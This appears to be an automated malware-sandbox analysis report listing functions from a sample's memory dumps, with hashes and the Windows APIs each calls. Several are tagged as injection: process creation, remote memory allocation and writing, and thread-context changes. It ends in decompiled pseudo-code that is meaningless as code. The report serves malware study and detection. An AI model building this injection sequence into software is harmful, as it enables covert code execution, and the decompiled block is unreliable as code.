Function 0117AAC6, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,FFFFFFF4,?), ref: 0117E1C5

Strings

<, xrefs: 0117AAD8

Memory Dump Source

Source File: 00000000.00000002.243821056.0000000001170000.00000040.00000001.sdmp, Offset: 01170000, based on PE: false

Similarity

API ID: LongWindow
String ID: <
API String ID: 1378638983-4251816714
Opcode ID: 6dc9af38944f97412adc5e154363ba06ef335f709d7895007f911c5a49fa8f19
Instruction ID: 8a08c176e1baa6df67c916dac1bd1a61f9d48445655ae7c554c1b185c6ee39a2
Opcode Fuzzy Hash: 6dc9af38944f97412adc5e154363ba06ef335f709d7895007f911c5a49fa8f19
Instruction Fuzzy Hash: BB1144B18043889FDB10DF99D485BDEBBF8EF48324F15845AD555A7341C374A948CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02BF429E, Relevance: 1.7, APIs: 1, Instructions: 244processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 02BF44DE

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 950c83577de20d01c4526d39edd2057439804e6c3f61e68e44259d5cbc14943a
Instruction ID: 89dfb11a058dcf382cb6f3d270b96eafdc4d9732d879694c8f9f82c9bb1b3abb
Opcode Fuzzy Hash: 950c83577de20d01c4526d39edd2057439804e6c3f61e68e44259d5cbc14943a
Instruction Fuzzy Hash: 4A916A71D002698FDF50DFA4C8817EEBAB2FF48314F0585A9DA09B7280DB749989CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02BF42A8, Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 02BF44DE

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 4b6d37b57e4be130dc5008ad737c4e99ac6f42e40792bb081af78fef0d99a277
Instruction ID: c598c0809b15b9612982ebd067d34b1ec5cf7a37512046dd478fedcadb5dd80d
Opcode Fuzzy Hash: 4b6d37b57e4be130dc5008ad737c4e99ac6f42e40792bb081af78fef0d99a277
Instruction Fuzzy Hash: A0916A71D002298FDF50DF64D8417EEBAB2FF48314F1585A9DA09B7240DB749989CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0117BA50, Relevance: 1.7, APIs: 1, Instructions: 201COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0117BCA6

Memory Dump Source

Source File: 00000000.00000002.243821056.0000000001170000.00000040.00000001.sdmp, Offset: 01170000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: ddf0749027bbb5675f2cd461e4a852d9ca1c3413279525f759e20f19c77b5024
Instruction ID: 1462df815dd578231cfbe090c47a32c7a51633569f7365fcc471db58e240997a
Opcode Fuzzy Hash: ddf0749027bbb5675f2cd461e4a852d9ca1c3413279525f759e20f19c77b5024
Instruction Fuzzy Hash: 11813670A04B058FDB28DF2AD44576ABBF1FF88204F04892ED58AD7B40EB75E905CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0117DB10, Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0117DC2A

Memory Dump Source

Source File: 00000000.00000002.243821056.0000000001170000.00000040.00000001.sdmp, Offset: 01170000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 8241cf93d897df71ddf1bb5593d00474917e4e441b85b623a2a950160d3bb3f6
Instruction ID: 1761fb28169a32e7f2448a97020d3c97b45f64f7eea84b1f22f5aeab04393970
Opcode Fuzzy Hash: 8241cf93d897df71ddf1bb5593d00474917e4e441b85b623a2a950160d3bb3f6
Instruction Fuzzy Hash: D051CFB1D003489FDF14CF99D984ADEBBB5BF48310F25812AE819AB250D771A885CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0117DB18, Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0117DC2A

Memory Dump Source

Source File: 00000000.00000002.243821056.0000000001170000.00000040.00000001.sdmp, Offset: 01170000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 7408709333a73b5eb60b688aa455bc5b965660c416293244753453e6e84f26ac
Instruction ID: 7a11473911d10da3dfb8b9f3e659a896493540e65a6c452a797aaec868a1fb93
Opcode Fuzzy Hash: 7408709333a73b5eb60b688aa455bc5b965660c416293244753453e6e84f26ac
Instruction Fuzzy Hash: E941CFB1D003489FDF18CF99D984ADEBBB5BF88310F24852AE419AB210D774A885CF90

Uniqueness

Uniqueness Score: -1.00%

Function 01177009, Relevance: 1.6, APIs: 1, Instructions: 102COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01177107

Memory Dump Source

Source File: 00000000.00000002.243821056.0000000001170000.00000040.00000001.sdmp, Offset: 01170000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 640626b4a4d43bc7231ef9faf47ce0c8c2f0f5401d2fce84de2a9edbfb974920
Instruction ID: aed51b865601c65dd645e4477946ceb76e3d9138177fc4e717ffcc940d943342
Opcode Fuzzy Hash: 640626b4a4d43bc7231ef9faf47ce0c8c2f0f5401d2fce84de2a9edbfb974920
Instruction Fuzzy Hash: 0A418876900249AFCF01CFA9D844ADEBFF5EF89320F14806AE954A7361C335A955DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02BF3C20, Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 02BF3CB0

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 441e1589d27390ca2b16f98e1a9c651453c5bc07c2cc102f6d40d89901444a48
Instruction ID: 408aa14a03448576c0444e3e9401cb8786707fa3303636fe3a3393314b641825
Opcode Fuzzy Hash: 441e1589d27390ca2b16f98e1a9c651453c5bc07c2cc102f6d40d89901444a48
Instruction Fuzzy Hash: 1C2135719003899FCB10CFA9C980BDEBBF4FF48314F14842AEA18A7240D7789984DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02BF3A80, Relevance: 1.6, APIs: 1, Instructions: 65threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 02BF3B06

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 8463355b41b64fb1ac44c404006420c271db9c19893abf16c5bfa6eb770f31d3
Instruction ID: abdc4e79b186ea9372b1d174be6273f87866878580cf143e7b272370d6d4e939
Opcode Fuzzy Hash: 8463355b41b64fb1ac44c404006420c271db9c19893abf16c5bfa6eb770f31d3
Instruction Fuzzy Hash: 34215971D003498FCB10DFAAC484BEEBBF4EF48218F14846AD519A7241DB789984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01177078, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01177107

Memory Dump Source

Source File: 00000000.00000002.243821056.0000000001170000.00000040.00000001.sdmp, Offset: 01170000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 25cf253e0e93001c4e551a11953e05098ac67640d6dc7e8fa67c8e8f89650e0b
Instruction ID: 01146aa761dff1a9d24381158e92e6730ef6e63627f8c3354007a60369aa342a
Opcode Fuzzy Hash: 25cf253e0e93001c4e551a11953e05098ac67640d6dc7e8fa67c8e8f89650e0b
Instruction Fuzzy Hash: 6C2100B5D002489FDB00CFA9D984AEEBBF4EF48324F14845AE954A7350D374A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02BF3A88, Relevance: 1.6, APIs: 1, Instructions: 63threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 02BF3B06

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 02a9eaf810f128a8c032581decda0128037ceb002239539ccac68a7d2a0f8d0e
Instruction ID: 996f2f1a88096186507dabfe2fcdbcfd6d5ea4b1ad0dca9f5c49ca900fd1ab87
Opcode Fuzzy Hash: 02a9eaf810f128a8c032581decda0128037ceb002239539ccac68a7d2a0f8d0e
Instruction Fuzzy Hash: D6213871D003488FCB10DFAAC4847EEBBF4EF48214F14842AD519A7241DB78A948CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02BF4110, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 02BF4190

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: f080adc9dce97d36dd5c87c3653b11a0cf881837679d33e0ccc28af03af373df
Instruction ID: 2bdb83a8cc47dfdc4e73e1b56d434e8fea63a6d80246f49f168a2a6b929857c7
Opcode Fuzzy Hash: f080adc9dce97d36dd5c87c3653b11a0cf881837679d33e0ccc28af03af373df
Instruction Fuzzy Hash: A62114719002599FCB10CFAAC880BEEBBB5FF48314F11842AE659A7250D7389944DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01177080, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01177107

Memory Dump Source

Source File: 00000000.00000002.243821056.0000000001170000.00000040.00000001.sdmp, Offset: 01170000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a32e1d8a65b6b1e4fdd62cecc694342dcb1606f1080d04a4cb243f2c4241816a
Instruction ID: 610d5a106897a88e36e673c1f5c46586b2602ec15a9716cbc1151741d513222b
Opcode Fuzzy Hash: a32e1d8a65b6b1e4fdd62cecc694342dcb1606f1080d04a4cb243f2c4241816a
Instruction Fuzzy Hash: 5421E2B59002489FDB10CFAAD984ADEBBF8EB48320F14841AE954B3350D374A954DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02BF410A, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 02BF4190

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 5927a17688b0f1f3a9d8ebcc2d348df4e923d59198d028252ef6b3ccf46328be
Instruction ID: f20cf551fa01bd1b6b30da37c8bdcb0745d7d09b1e7150db81e9a3286dba9fa8
Opcode Fuzzy Hash: 5927a17688b0f1f3a9d8ebcc2d348df4e923d59198d028252ef6b3ccf46328be
Instruction Fuzzy Hash: 982136B1D002498FCB00CFA9C9817EEBBB1BF48314F15842AEA18B3250D7389944DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0117A988, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0117BD21,00000800,00000000,00000000), ref: 0117BF32

Memory Dump Source

Source File: 00000000.00000002.243821056.0000000001170000.00000040.00000001.sdmp, Offset: 01170000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ba2ddad080d6ac213ce71e5129b68bfd8ab2e834d4251d0c5a4d43abdfba6876
Instruction ID: 9d75e965f3f99b50b69ad0e64c850d1100374f31d07b49211a632d8cfa5fc57c
Opcode Fuzzy Hash: ba2ddad080d6ac213ce71e5129b68bfd8ab2e834d4251d0c5a4d43abdfba6876
Instruction Fuzzy Hash: 441112B69042499FDB14CF9AC448BDEFBF4EB88324F15842AE515B7300C375A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02BF3B58, Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 02BF3BCE

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 24fa7c9e8e406b1eb2474925298ccec4b3138993c5d3729fcc7e58b6befa85a9
Instruction ID: 4e97b0f53676f3cf9e88922dfc62cdbc291ee0f1684943d7e94d83d0c2b28152
Opcode Fuzzy Hash: 24fa7c9e8e406b1eb2474925298ccec4b3138993c5d3729fcc7e58b6befa85a9
Instruction Fuzzy Hash: AC1186719002898FCF10CFAAC854BEFBBF5EF48328F14841AE619A7250C775A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0117BEC0, Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0117BD21,00000800,00000000,00000000), ref: 0117BF32

Memory Dump Source

Source File: 00000000.00000002.243821056.0000000001170000.00000040.00000001.sdmp, Offset: 01170000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 07e5c6682e25d3a859c49c39e4d3b177ba0f6be6237337818b0773c1a481794a
Instruction ID: 593cac9d63b8e1cc5740d933ba4aa493ddd87af3442899f02c78ecdba57e474c
Opcode Fuzzy Hash: 07e5c6682e25d3a859c49c39e4d3b177ba0f6be6237337818b0773c1a481794a
Instruction Fuzzy Hash: F01130B69042488FCB10CF9AC884BDEFBF4AB88324F11842AE515A7200C379A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02BF17C8, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

OutputDebugStringW.KERNELBASE(00000000), ref: 02BF1840

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID: DebugOutputString
String ID:
API String ID: 1166629820-0
Opcode ID: 24dd6eca8a7f765a74d07cca3e5c1eb52612b973e0c1f997cda2cd9719a08cfb
Instruction ID: 4a9115b7608dee1bcc0d882739a563f75fa5ce48a460c47d8a2c3abfa3b552ee
Opcode Fuzzy Hash: 24dd6eca8a7f765a74d07cca3e5c1eb52612b973e0c1f997cda2cd9719a08cfb
Instruction Fuzzy Hash: 191142B2D0065ACBCB00CF99D545BEEFBB4FF48224F10852AD918B3600D734A944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02BF3B60, Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 02BF3BCE

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ce53cc8b9be9d3a97e508cdd99bd1530d3dd9ddeb6bbc621c4029c5d3e96f0ea
Instruction ID: a977e902cd228d8688c2069a5d26368b8488c088916c590c00fef907df99ae67
Opcode Fuzzy Hash: ce53cc8b9be9d3a97e508cdd99bd1530d3dd9ddeb6bbc621c4029c5d3e96f0ea
Instruction Fuzzy Hash: 611149719002899FCF10DFA9C844BDFBBF5EF48324F14841AE615A7250C775A944DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02BF17D0, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

OutputDebugStringW.KERNELBASE(00000000), ref: 02BF1840

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID: DebugOutputString
String ID:
API String ID: 1166629820-0
Opcode ID: 13a0dc07fc6dd6053d04203d2b21a4a0891adacff230503894a5082b88237c62
Instruction ID: 27eb03b6c2b2be4bb354da6ef3c3a48d09be1cdf25433fbcb290d607be722e6b
Opcode Fuzzy Hash: 13a0dc07fc6dd6053d04203d2b21a4a0891adacff230503894a5082b88237c62
Instruction Fuzzy Hash: C71120B1D006999BCB10CF9AD544BDEFBB4FB48324F10856AD918B3640D734A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02BF39D8, Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 02BF3A3A

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 41e7011897054558040470ae9cce882fe4cd4078aeeda18780829000d87b6905
Instruction ID: fbc04021117cf4faee17d593fe17535730d88d0f54929938d0a85510204a44fa
Opcode Fuzzy Hash: 41e7011897054558040470ae9cce882fe4cd4078aeeda18780829000d87b6905
Instruction Fuzzy Hash: 131128719003888BCB10DFAAC4447DEBBF4AF88224F15845AD519B7240D775A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0117AADC, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,FFFFFFF4,?), ref: 0117E1C5

Memory Dump Source

Source File: 00000000.00000002.243821056.0000000001170000.00000040.00000001.sdmp, Offset: 01170000, based on PE: false

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 8487dbf1880e7a045748a5ef098aacaefa62f1e5d0e45dd66b3f9229209dbc51
Instruction ID: 84e4f0911e53e120c7b6671593c4b7ef67038562c044dd4f56feffd9bdc06d05
Opcode Fuzzy Hash: 8487dbf1880e7a045748a5ef098aacaefa62f1e5d0e45dd66b3f9229209dbc51
Instruction Fuzzy Hash: C711FEB59002499FDB10CF99D589BDEBBF8EB48324F10845AE915B7700C374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0117BC40, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0117BCA6

Memory Dump Source

Source File: 00000000.00000002.243821056.0000000001170000.00000040.00000001.sdmp, Offset: 01170000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 011d9f75b4402785ae6e1cce1dac684391cc3ce5045f49d94b3516a82bf72faa
Instruction ID: 2038fde8f33717b186ab3b876a0695795c2ceeacb953d46a7747608066ab87cf
Opcode Fuzzy Hash: 011d9f75b4402785ae6e1cce1dac684391cc3ce5045f49d94b3516a82bf72faa
Instruction Fuzzy Hash: 7F110FB5C002498FDB14CF9AC544BDEFBF4AF88224F14842AD819B7700C774A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02BF3D38, Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 02BF71BD

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 1234d9a97aebd76148164a16b42e92e9506c6deae5384e3fea87bf8c5b1cad9a
Instruction ID: 5a0dcdf858e79901241a65a0e1ff3b9f05e2811ec153c04e7568aa943b73bfd2
Opcode Fuzzy Hash: 1234d9a97aebd76148164a16b42e92e9506c6deae5384e3fea87bf8c5b1cad9a
Instruction Fuzzy Hash: F211E0B59003489FCB10CF99C885BDFFBF8EB48324F10845AE915A7200C375AA88DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02BF7158, Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 02BF71BD

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 8c30da6c3fdc969b15fed0c6332a1379e3a002e90e14b13a2e7a56fb068b8ec1
Instruction ID: 3f0141822f425dac1258f953742f638ba52649a3602addbf8d5174dddb45f6b3
Opcode Fuzzy Hash: 8c30da6c3fdc969b15fed0c6332a1379e3a002e90e14b13a2e7a56fb068b8ec1
Instruction Fuzzy Hash: 0C1103B59003889FDB10CF99D485BEEFBF4EB58324F14845AE955A7300C375AA89CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0117E161, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,FFFFFFF4,?), ref: 0117E1C5

Memory Dump Source

Source File: 00000000.00000002.243821056.0000000001170000.00000040.00000001.sdmp, Offset: 01170000, based on PE: false

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 45adba6ce0fda20b93ef3b3d1a5331977dba9600ddc7fc02462025415b4933d7
Instruction ID: a4ce44a21ed42357f0725a28f4ddd975013a693fcd9e0bdb71982afa13798fe7
Opcode Fuzzy Hash: 45adba6ce0fda20b93ef3b3d1a5331977dba9600ddc7fc02462025415b4933d7
Instruction Fuzzy Hash: A31112B5900248CFDB10CF99D589BDEBBF4EB48324F24881AD919B3740C374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00802050, Relevance: 2.2, Instructions: 2207
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E00802050(intOrPtr* __eax, signed int* __ebx, signed int __ecx, intOrPtr* __edx, intOrPtr* __edi, intOrPtr* __esi, void* __fp0) {
				signed char _t279;
				signed char _t280;
				intOrPtr* _t282;
				signed char _t283;
				signed char _t284;
				signed char _t285;
				signed char _t286;
				signed char _t288;
				signed char _t289;
				signed char _t290;
				intOrPtr* _t291;
				signed char _t292;
				signed char _t293;
				signed char _t294;
				intOrPtr* _t295;
				intOrPtr* _t520;
				signed int* _t522;
				signed char _t545;
				void* _t546;
				void* _t548;
				signed char _t549;
				signed char _t550;
				signed char _t551;
				signed char _t552;
				signed char _t553;
				signed char _t554;
				intOrPtr* _t612;
				intOrPtr* _t614;
				signed int* _t615;
				intOrPtr* _t616;
				intOrPtr* _t617;
				signed int* _t618;
				signed int* _t619;
				intOrPtr* _t652;
				intOrPtr* _t656;
				signed int _t660;
				void* _t677;
				void* _t948;

				_t656 = __esi;
				_t652 = __edi;
				_t522 = __ebx;
				asm("sbb esi, [eax]");
				_t279 = __eax +  *__eax;
				_pop(ds);
				 *_t279 =  *_t279 + _t279;
				 *_t279 =  *_t279 + _t279;
				 *_t279 =  *_t279 + _t279;
				 *_t279 =  *_t279 + _t279;
				 *_t279 =  *_t279 + __ecx;
				_pop(ds);
				 *_t279 =  *_t279 + _t279;
				_t545 = __ecx |  *_t279;
				 *_t279 =  *_t279 & _t279;
				 *__edx =  *__edx + _t545;
				_t612 = __edx + __ebx;
				_t280 = _t279 +  *_t279;
				_t948 = __fp0 +  *_t280;
				 *__edi =  *__edi - _t280;
				 *_t280 =  *_t280 + _t280;
				_push(es);
				_t546 = _t545 +  *((intOrPtr*)(__edi + 0x21));
				 *_t280 =  *_t280 + _t280;
				_t282 = (_t280 |  *_t280) -  *(_t280 |  *_t280);
				 *_t282 =  *_t282 + _t612;
				 *_t282 =  *_t282 + _t282;
				_t283 = _t282 +  *_t282;
				 *_t283 =  *_t283 + _t283;
				_push(cs);
				asm("sldt word [edx]");
				 *_t283 =  *_t283 + _t283;
				 *_t283 =  *_t283 + _t283;
				asm("stosb");
				 *_t612 =  *_t612 + _t283;
				 *_t612 =  *_t612 - _t283;
				 *_t283 =  *_t283 + _t283;
				_t284 = _t283 |  *_t283;
				 *__ebx =  *__ebx - _t284;
				 *_t284 =  *_t284 + _t284;
				_t285 = _t284 |  *_t284;
				_t614 = _t612 +  *__esi +  *__edi;
				 *((intOrPtr*)(_t285 + _t285)) =  *((intOrPtr*)(_t285 + _t285)) - _t285;
				 *_t614 =  *_t614 + _t546;
				 *_t614 =  *_t614 + _t285;
				ss = ss;
				 *0xa0000 =  *0xa0000 - _t285;
				_t615 = _t614 +  *__esi;
				 *__esi =  *__esi - _t285;
				 *_t285 =  *_t285 + _t285;
				_t286 = _t285 |  *_t285;
				_t548 = _t546 -  *__esi +  *_t286;
				 *_t286 =  *_t286 | _t286;
				 *__esi =  *__esi + _t286;
				asm("outsd");
				asm("insb");
				 *_t286 =  *_t286 + _t286;
				_push(es);
				 *__edi =  *__edi - _t286;
				 *_t286 =  *_t286 + _t286;
				_t288 = (_t286 |  *_t286) -  *__esi;
				 *_t615 =  *_t615 + _t288;
				 *_t288 =  *_t288 - _t548;
				 *_t288 =  *_t288 + _t288;
				_t289 = _t288 |  *_t288;
				_t549 = _t548 - _t615;
				if(_t549 >= 0) {
					L6:
					 *_t615 =  *_t615 + _t549;
					 *0x2a040000 =  *0x2a040000;
					 *_t289 =  *_t289 + _t289;
					goto L7;
				} else {
					 *_t289 =  *_t289 + _t289;
					_t289 = _t289 |  *(_t289 + 0x4000001);
					if(_t289 >= 0) {
						L7:
						asm("adc esi, [eax]");
						 *_t289 =  *_t289 + _t289;
						asm("adc [eax], al");
						 *_t289 =  *_t289 + _t289;
						 *_t289 =  *_t289 + _t289;
						 *_t549 = _t615 +  *_t549;
						_t677 =  *_t549;
						goto L8;
					} else {
						 *_t289 =  *_t289 + _t289;
						_t289 = _t289 |  *(_t289 + 0x4000002);
						if(_t289 >= 0) {
							L8:
							asm("adc [eax], eax");
							if(_t677 > 0) {
								 *_t289 =  *_t289 + _t289;
							}
							 *((intOrPtr*)(_t652 + _t660 * 2)) =  *((intOrPtr*)(_t652 + _t660 * 2)) + _t289;
							 *[cs:eax] =  *[cs:eax] + _t289;
							goto L11;
						} else {
							 *_t289 =  *_t289 + _t289;
							_t289 = _t289 |  *(_t289 + 0x4000003);
							if(_t289 >= 0) {
								L11:
								_t549 = _t549 |  *_t615;
								_t290 = _t289 -  *_t289;
								_push(es);
								_t615 = _t615 -  *_t522;
								 *_t549 =  *_t549 ^ _t290;
								 *_t290 =  *_t290 + _t615;
							} else {
								 *_t289 =  *_t289 + _t289;
								_t290 = _t289 |  *(_t289 + 0x4000004);
								if(_t290 < 0) {
									 *_t290 =  *_t290 + _t290;
									goto L6;
								}
							}
						}
					}
				}
				 *_t290 =  *_t290 + _t290;
				 *_t615 =  *_t615 + _t290;
				 *_t290 =  *_t290 + _t290;
				asm("adc [eax], eax");
				if( *_t290 > 0) {
					 *_t290 =  *_t290 + _t290;
				}
				_t291 = _t290 + 0x6f;
				asm("das");
				 *_t291 =  *_t291 + _t291;
				_t550 = _t549 |  *_t615;
				_t292 = _t291 -  *_t291;
				_push(es);
				_t616 = _t615 -  *_t522;
				 *_t550 =  *_t550 ^ _t292;
				 *_t292 =  *_t292 + _t616;
				 *_t292 =  *_t292 + _t292;
				 *_t522 =  *_t522 + _t292;
				 *_t292 =  *_t292 + _t292;
				asm("adc [eax], eax");
				if( *_t292 > 0) {
					 *_t292 =  *_t292 + _t292;
					_t292 = _t292 + 0x6f;
				}
				asm("outsd");
				 *_t292 =  *_t292 ^ _t292;
				 *_t616 =  *_t616 + _t550;
				_t551 = _t550 |  *_t522;
				 *_t656 =  *_t656 + _t292;
				_t617 = _t616 -  *_t522;
				 *_t551 =  *_t551 ^ _t292;
				 *_t292 =  *_t292 + _t617;
				 *_t292 =  *_t292 + _t292;
				 *((intOrPtr*)(_t292 + _t292)) =  *((intOrPtr*)(_t292 + _t292)) + _t292;
				 *_t551 =  *_t551 + _t617;
				 *((intOrPtr*)(_t656 + 4)) =  *((intOrPtr*)(_t656 + 4)) + _t522;
				 *_t292 =  *_t292 + _t292;
				_t293 = _t292 + 0x6f;
				 *_t293 =  *_t293 ^ _t293;
				 *_t617 =  *_t617 + _t551;
				_t552 = _t551 |  *_t522;
				 *_t656 =  *_t656 + _t293;
				_t618 = _t617 -  *_t522;
				 *_t552 =  *_t552 ^ _t293;
				 *_t293 = _t618 +  *_t293;
				 *_t293 =  *_t293 + _t293;
				 *0x110000 =  *0x110000 + _t293;
				if ( *0x110000 <= 0) goto L19;
				goto L17;
				 *_t520 =  *_t520 + _t520;
				_t293 = _t520 + 0x0000006f ^  *(_t520 + 0x6f);
				 *_t293 =  *_t293 + _t293;
				_t553 = _t552 |  *_t618;
				_t294 = _t293 -  *_t293;
				_push(es);
				_t619 = _t618 -  *_t522;
				 *_t619 =  *_t619 ^ _t294;
				 *((intOrPtr*)(_t294 + _t294)) =  *((intOrPtr*)(_t294 + _t294)) + _t522;
				 *_t294 =  *_t294 + _t294;
				_push(es);
